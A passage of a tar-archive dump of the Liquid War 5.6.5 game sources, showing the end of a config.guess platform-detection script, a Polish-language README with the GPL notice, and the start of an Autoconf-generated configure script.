exit ;; Power*:Rhapsody:*:*) echo powerpc-apple-rhapsody${UNAME_RELEASE} exit ;; *:Rhapsody:*:*) echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} exit ;; *:Darwin:*:*) UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown case $UNAME_PROCESSOR in i386) eval $set_cc_for_build if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \ (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \ grep IS_64BIT_ARCH >/dev/null then UNAME_PROCESSOR="x86_64" fi fi ;; unknown) UNAME_PROCESSOR=powerpc ;; esac echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} exit ;; *:procnto*:*:* | *:QNX:[0123456789]*:*) UNAME_PROCESSOR=`uname -p` if test "$UNAME_PROCESSOR" = "x86"; then UNAME_PROCESSOR=i386 UNAME_MACHINE=pc fi echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} exit ;; *:QNX:*:4*) echo i386-pc-qnx exit ;; NEO-?:NONSTOP_KERNEL:*:*) echo neo-tandem-nsk${UNAME_RELEASE} exit ;; NSE-?:NONSTOP_KERNEL:*:*) echo nse-tandem-nsk${UNAME_RELEASE} exit ;; NSR-?:NONSTOP_KERNEL:*:*) echo nsr-tandem-nsk${UNAME_RELEASE} exit ;; *:NonStop-UX:*:*) echo mips-compaq-nonstopux exit ;; BS2000:POSIX*:*:*) echo bs2000-siemens-sysv exit ;; DS/*:UNIX_System_V:*:*) echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} exit ;; *:Plan9:*:*) # "uname -m" is not consistent, so use $cputype instead. 386 # is converted to i386 for consistency with other x86 # operating systems. if test "$cputype" = "386"; then UNAME_MACHINE=i386 else UNAME_MACHINE="$cputype" fi echo ${UNAME_MACHINE}-unknown-plan9 exit ;; *:TOPS-10:*:*) echo pdp10-unknown-tops10 exit ;; *:TENEX:*:*) echo pdp10-unknown-tenex exit ;; KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) echo pdp10-dec-tops20 exit ;; XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) echo pdp10-xkl-tops20 exit ;; *:TOPS-20:*:*) echo pdp10-unknown-tops20 exit ;; *:ITS:*:*) echo pdp10-unknown-its exit ;; SEI:*:*:SEIUX) echo mips-sei-seiux${UNAME_RELEASE} exit ;; *:DragonFly:*:*) echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit ;; *:*VMS:*:*) UNAME_MACHINE=`(uname -p) 2>/dev/null` case "${UNAME_MACHINE}" in A*) echo alpha-dec-vms ; exit ;; I*) echo ia64-dec-vms ; exit ;; V*) echo vax-dec-vms ; exit ;; esac ;; *:XENIX:*:SysV) echo i386-pc-xenix exit ;; i*86:skyos:*:*) echo ${UNAME_MACHINE}-pc-skyos`echo ${UNAME_RELEASE}` | sed -e 's/ .*$//' exit ;; i*86:rdos:*:*) echo ${UNAME_MACHINE}-pc-rdos exit ;; i*86:AROS:*:*) echo ${UNAME_MACHINE}-pc-aros exit ;; esac #echo '(No uname command or uname output not recognized.)' 1>&2 #echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 eval $set_cc_for_build cat >$dummy.c < # include #endif main () { #if defined (sony) #if defined (MIPSEB) /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, I don't know.... */ printf ("mips-sony-bsd\n"); exit (0); #else #include printf ("m68k-sony-newsos%s\n", #ifdef NEWSOS4 "4" #else "" #endif ); exit (0); #endif #endif #if defined (__arm) && defined (__acorn) && defined (__unix) printf ("arm-acorn-riscix\n"); exit (0); #endif #if defined (hp300) && !defined (hpux) printf ("m68k-hp-bsd\n"); exit (0); #endif #if defined (NeXT) #if !defined (__ARCHITECTURE__) #define __ARCHITECTURE__ "m68k" #endif int version; version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; if (version < 4) printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); else printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); exit (0); #endif #if defined (MULTIMAX) || defined (n16) #if defined (UMAXV) printf ("ns32k-encore-sysv\n"); exit (0); #else #if defined (CMU) printf ("ns32k-encore-mach\n"); exit (0); #else printf ("ns32k-encore-bsd\n"); exit (0); #endif #endif #endif #if defined (__386BSD__) printf ("i386-pc-bsd\n"); exit (0); #endif #if defined (sequent) #if defined (i386) printf ("i386-sequent-dynix\n"); exit (0); #endif #if defined (ns32000) printf ("ns32k-sequent-dynix\n"); exit (0); #endif #endif #if defined (_SEQUENT_) struct utsname un; uname(&un); if (strncmp(un.version, "V2", 2) == 0) { printf ("i386-sequent-ptx2\n"); exit (0); } if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ printf ("i386-sequent-ptx1\n"); exit (0); } printf ("i386-sequent-ptx\n"); exit (0); #endif #if defined (vax) # if !defined (ultrix) # include # if defined (BSD) # if BSD == 43 printf ("vax-dec-bsd4.3\n"); exit (0); # else # if BSD == 199006 printf ("vax-dec-bsd4.3reno\n"); exit (0); # else printf ("vax-dec-bsd\n"); exit (0); # endif # endif # else printf ("vax-dec-bsd\n"); exit (0); # endif # else printf ("vax-dec-ultrix\n"); exit (0); # endif #endif #if defined (alliant) && defined (i860) printf ("i860-alliant-bsd\n"); exit (0); #endif exit (1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && SYSTEM_NAME=`$dummy` && { echo "$SYSTEM_NAME"; exit; } # Apollos put the system type in the environment. test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit; } # Convex versions that predate uname can use getsysinfo(1) if [ -x /usr/convex/getsysinfo ] then case `getsysinfo -f cpu_type` in c1*) echo c1-convex-bsd exit ;; c2*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit ;; c34*) echo c34-convex-bsd exit ;; c38*) echo c38-convex-bsd exit ;; c4*) echo c4-convex-bsd exit ;; esac fi cat >&2 < in order to provide the needed information to handle your system. config.guess timestamp = $timestamp uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` /bin/uname -X = `(/bin/uname -X) 2>/dev/null` hostinfo = `(hostinfo) 2>/dev/null` /bin/universe = `(/bin/universe) 2>/dev/null` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` /bin/arch = `(/bin/arch) 2>/dev/null` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` UNAME_MACHINE = ${UNAME_MACHINE} UNAME_RELEASE = ${UNAME_RELEASE} UNAME_SYSTEM = ${UNAME_SYSTEM} UNAME_VERSION = ${UNAME_VERSION} EOF exit 1 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: liquidwar-5.6.5/README.pl0000664000372000037200000000306313407756104014435 0ustar travistravisLiquid War is a unique multiplayer wargame. Its rules are truely original and have been invented by Thomas Colcombet. You control an army of liquid and have to try and eat your opponents. A single player mode is available, but the game is definitely designed to be multiplayer, and has network support. Liquid War homepage : https://ufoot.org/liquidwar/v5 Contact author : ufoot@ufoot.org If you have any questions or remarks about Liquid War, you can get help and informations on the Liquid War user mailing list: http://mail.nongnu.org/mailman/listinfo/liquidwar-user Have a good day, U-Foot ----------------- L E G A L I N F O R M A T I O N ---------------- Liquid War jest wojenną grą multiplayer. Copyright (C) 1998-2018 Christian Mauduit (ufoot@ufoot.org) Niniejszy program jest wolnym oprogramowaniem; możesz go rozprowadzać dalej i/lub modyfikować na warunkach Powszechnej Licencji Publicznej GNU, wydanej przez Fundację Wolnego Oprogramowania - według wersji 2-giej tej Licencji lub którejś z późniejszych wersji. Niniejszy program rozpowszechniany jest z nadzieją, iż będzie on użyteczny - jednak BEZ JAKIEJKOLWIEK GWARANCJI, nawet domyślnej gwarancji PRZYDATNOŚCI HANDLOWEJ albo PRZYDATNOŚCI DO OKREŚLONYCH ZASTOSOWAŃ. W celu uzyskania bliższych informacji - Powszechna Licencja Publiczna GNU. Z pewnością wraz z niniejszym programem otrzymałeś też egzemplarz Powszechnej Licencji Publicznej GNU (GNU General Public License); jeśli nie - napisz do Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. liquidwar-5.6.5/configure0000775000372000037200000050334613407756104015063 0ustar travistravis#! /bin/sh # Guess values for system-dependent variables and create Makefiles. # Generated by GNU Autoconf 2.69. # # # Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc. # # # This configure script is free software; the Free Software Foundation # gives unlimited permission to copy, distribute and modify it. ## -------------------- ## ## M4sh Initialization. ## ## -------------------- ## # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. as_myself= case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH # Use a proper internal environment variable to ensure we don't fall # into an infinite loop, continuously re-executing ourselves. if test x"${_as_can_reexec}" != xno && test "x$CONFIG_SHELL" != x; then _as_can_reexec=no; export _as_can_reexec; # We cannot yet assume a decent shell, so we have to provide a # neutralization value for shells without unset; and this also # works around shells that cannot unset nonexistent variables. # Preserve -v and -x to the replacement shell. BASH_ENV=/dev/null ENV=/dev/null (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV case $- in # (((( *v*x* | *x*v* ) as_opts=-vx ;; *v* ) as_opts=-v ;; *x* ) as_opts=-x ;; * ) as_opts= ;; esac exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} # Admittedly, this is quite paranoid, since all the known shells bail # out after a failed `exec'. $as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2 as_fn_exit 255 fi # We don't want this to propagate to other subprocesses. { _as_can_reexec=; unset _as_can_reexec;} if test "x$CONFIG_SHELL" = x; then as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which # is contrary to our usage. Disable this feature. alias -g '\${1+\"\$@\"}'='\"\$@\"' setopt NO_GLOB_SUBST else case \`(set -o) 2>/dev/null\` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi " as_required="as_fn_return () { (exit \$1); } as_fn_success () { as_fn_return 0; } as_fn_failure () { as_fn_return 1; } as_fn_ret_success () { return 0; } as_fn_ret_failure () { return 1; } exitcode=0 as_fn_success || { exitcode=1; echo as_fn_success failed.; } as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then : else exitcode=1; echo positional parameters were not saved. fi test x\$exitcode = x0 || exit 1 test -x / || exit 1" as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1 test \$(( 1 + 1 )) = 2 || exit 1" if (eval "$as_required") 2>/dev/null; then : as_have_required=yes else as_have_required=no fi if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null; then : else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR as_found=false for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. as_found=: case $as_dir in #( /*) for as_base in sh bash ksh sh5; do # Try only shells that exist, to save several forks. as_shell=$as_dir/$as_base if { test -f "$as_shell" || test -f "$as_shell.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$as_shell"; } 2>/dev/null; then : CONFIG_SHELL=$as_shell as_have_required=yes if { $as_echo "$as_bourne_compatible""$as_suggested" | as_run=a "$as_shell"; } 2>/dev/null; then : break 2 fi fi done;; esac as_found=false done $as_found || { if { test -f "$SHELL" || test -f "$SHELL.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$SHELL"; } 2>/dev/null; then : CONFIG_SHELL=$SHELL as_have_required=yes fi; } IFS=$as_save_IFS if test "x$CONFIG_SHELL" != x; then : export CONFIG_SHELL # We cannot yet assume a decent shell, so we have to provide a # neutralization value for shells without unset; and this also # works around shells that cannot unset nonexistent variables. # Preserve -v and -x to the replacement shell. BASH_ENV=/dev/null ENV=/dev/null (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV case $- in # (((( *v*x* | *x*v* ) as_opts=-vx ;; *v* ) as_opts=-v ;; *x* ) as_opts=-x ;; * ) as_opts= ;; esac exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} # Admittedly, this is quite paranoid, since all the known shells bail # out after a failed `exec'. $as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2 exit 255 fi if test x$as_have_required = xno; then : $as_echo "$0: This script requires a shell more modern than all" $as_echo "$0: the shells that I found on your system." if test x${ZSH_VERSION+set} = xset ; then $as_echo "$0: In particular, zsh $ZSH_VERSION has bugs and should" $as_echo "$0: be upgraded to zsh 4.3.4 or later." else $as_echo "$0: Please tell bug-autoconf@gnu.org about your system, $0: including any error possibly output before this $0: message. Then install a modern shell, or manually run $0: the script under such a shell if you do have one." fi exit 1 fi fi fi SHELL=${CONFIG_SHELL-/bin/sh} export SHELL # Unset more variables known to interfere with behavior of common tools. CLICOLOR_FORCE= GREP_OPTIONS= unset CLICOLOR_FORCE GREP_OPTIONS ## --------------------- ## ## M4sh Shell Functions. ## ## --------------------- ## # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" } # as_fn_mkdir_p # as_fn_executable_p FILE # ----------------------- # Test if FILE is an executable regular file. as_fn_executable_p () { test -f "$1" && test -x "$1" } # as_fn_executable_p # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith # as_fn_error STATUS ERROR [LINENO LOG_FD] # ---------------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with STATUS, using 1 if that was 0. as_fn_error () { as_status=$1; test $as_status -eq 0 && as_status=1 if test "$4"; then as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 fi $as_echo "$as_me: error: $2" >&2 as_fn_exit $as_status } # as_fn_error if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits as_lineno_1=$LINENO as_lineno_1a=$LINENO as_lineno_2=$LINENO as_lineno_2a=$LINENO eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) sed -n ' p /[$]LINENO/= ' <$as_myself | sed ' s/[$]LINENO.*/&-/ t lineno b :lineno N :loop s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ t loop s/-\n.*// ' >$as_me.lineno && chmod +x "$as_me.lineno" || { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } # If we had to re-execute with $CONFIG_SHELL, we're ensured to have # already done that, so ensure we don't try to do so again and fall # in an infinite loop. This has already happened in practice. _as_can_reexec=no; export _as_can_reexec # Don't try to exec as it changes $[0], causing all sort of problems # (the dirname of $[0] is not the place where we might find the # original and so on. Autoconf is especially sensitive to this). . "./$as_me.lineno" # Exit status is that of the last command. exit } ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -pR'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -pR' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -pR' fi else as_ln_s='cp -pR' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi as_test_x='test -x' as_executable_p=as_fn_executable_p # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" test -n "$DJDIR" || exec 7<&0 &1 # Name of the host. # hostname on some systems (SVR3.2, old GNU/Linux) returns a bogus exit status, # so uname gets run too. ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` # # Initializations. # ac_default_prefix=/usr/local ac_clean_files= ac_config_libobj_dir=. LIBOBJS= cross_compiling=no subdirs= MFLAGS= MAKEFLAGS= # Identity of this package. PACKAGE_NAME= PACKAGE_TARNAME= PACKAGE_VERSION= PACKAGE_STRING= PACKAGE_BUGREPORT= PACKAGE_URL= # Factoring default headers for most tests. ac_includes_default="\ #include #ifdef HAVE_SYS_TYPES_H # include #endif #ifdef HAVE_SYS_STAT_H # include #endif #ifdef STDC_HEADERS # include # include #else # ifdef HAVE_STDLIB_H # include # endif #endif #ifdef HAVE_STRING_H # if !defined STDC_HEADERS && defined HAVE_MEMORY_H # include # endif # include #endif #ifdef HAVE_STRINGS_H # include #endif #ifdef HAVE_INTTYPES_H # include #endif #ifdef HAVE_STDINT_H # include #endif #ifdef HAVE_UNISTD_H # include #endif" ac_subst_vars='LTLIBOBJS LIBOBJS VERSION_WIN32 VERSION_COMPACT VERSION_REL VERSION SRPMS_DIR RPMS_DIR GMAKE GP2X HOST_OPT STATIC EFENCE DEBUG DOC_UWC DOC_PHP DOC_PDF DOC_PS DOC_INFO DOC_MAN DOC_HTML DOC_TXT ASM MAKEINFO PDFLATEX DVIPS LATEX GZIP PYTHON GNU_AS PTHREAD EGREP GREP CPP ALLEGRO_DAT ALLIBS ALCFLAGS ALLEGRO_CONFIG SNPRINTF host_os host_vendor host_cpu host build_os build_vendor build_cpu build OBJEXT EXEEXT ac_ct_CC CPPFLAGS LDFLAGS CFLAGS CC target_alias host_alias build_alias LIBS ECHO_T ECHO_N ECHO_C DEFS mandir localedir libdir psdir pdfdir dvidir htmldir infodir docdir oldincludedir includedir localstatedir sharedstatedir sysconfdir datadir datarootdir libexecdir sbindir bindir program_transform_name prefix exec_prefix PACKAGE_URL PACKAGE_BUGREPORT PACKAGE_STRING PACKAGE_VERSION PACKAGE_TARNAME PACKAGE_NAME PATH_SEPARATOR SHELL' ac_subst_files='' ac_user_opts=' enable_option_checking enable_asm enable_doc_txt enable_doc_html enable_doc_man enable_doc_info enable_doc_ps enable_doc_pdf enable_doc_php enable_doc_uwc enable_debug enable_efence enable_static enable_host_opt ' ac_precious_vars='build_alias host_alias target_alias CC CFLAGS LDFLAGS LIBS CPPFLAGS CPP' # Initialize some variables set by options. ac_init_help= ac_init_version=false ac_unrecognized_opts= ac_unrecognized_sep= # The variables have the same names as the options, with # dashes changed to underlines. cache_file=/dev/null exec_prefix=NONE no_create= no_recursion= prefix=NONE program_prefix=NONE program_suffix=NONE program_transform_name=s,x,x, silent= site= srcdir= verbose= x_includes=NONE x_libraries=NONE # Installation directory options. # These are left unexpanded so users can "make install exec_prefix=/foo" # and all the variables that are supposed to be based on exec_prefix # by default will actually change. # Use braces instead of parens because sh, perl, etc. also accept them. # (The list follows the same order as the GNU Coding Standards.) bindir='${exec_prefix}/bin' sbindir='${exec_prefix}/sbin' libexecdir='${exec_prefix}/libexec' datarootdir='${prefix}/share' datadir='${datarootdir}' sysconfdir='${prefix}/etc' sharedstatedir='${prefix}/com' localstatedir='${prefix}/var' includedir='${prefix}/include' oldincludedir='/usr/include' docdir='${datarootdir}/doc/${PACKAGE}' infodir='${datarootdir}/info' htmldir='${docdir}' dvidir='${docdir}' pdfdir='${docdir}' psdir='${docdir}' libdir='${exec_prefix}/lib' localedir='${datarootdir}/locale' mandir='${datarootdir}/man' ac_prev= ac_dashdash= for ac_option do # If the previous option needs an argument, assign it. if test -n "$ac_prev"; then eval $ac_prev=\$ac_option ac_prev= continue fi case $ac_option in *=?*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; *=) ac_optarg= ;; *) ac_optarg=yes ;; esac # Accept the important Cygnus configure options, so we can diagnose typos. case $ac_dashdash$ac_option in --) ac_dashdash=yes ;; -bindir | --bindir | --bindi | --bind | --bin | --bi) ac_prev=bindir ;; -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) bindir=$ac_optarg ;; -build | --build | --buil | --bui | --bu) ac_prev=build_alias ;; -build=* | --build=* | --buil=* | --bui=* | --bu=*) build_alias=$ac_optarg ;; -cache-file | --cache-file | --cache-fil | --cache-fi \ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ac_prev=cache_file ;; -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) cache_file=$ac_optarg ;; --config-cache | -C) cache_file=config.cache ;; -datadir | --datadir | --datadi | --datad) ac_prev=datadir ;; -datadir=* | --datadir=* | --datadi=* | --datad=*) datadir=$ac_optarg ;; -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ | --dataroo | --dataro | --datar) ac_prev=datarootdir ;; -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) datarootdir=$ac_optarg ;; -disable-* | --disable-*) 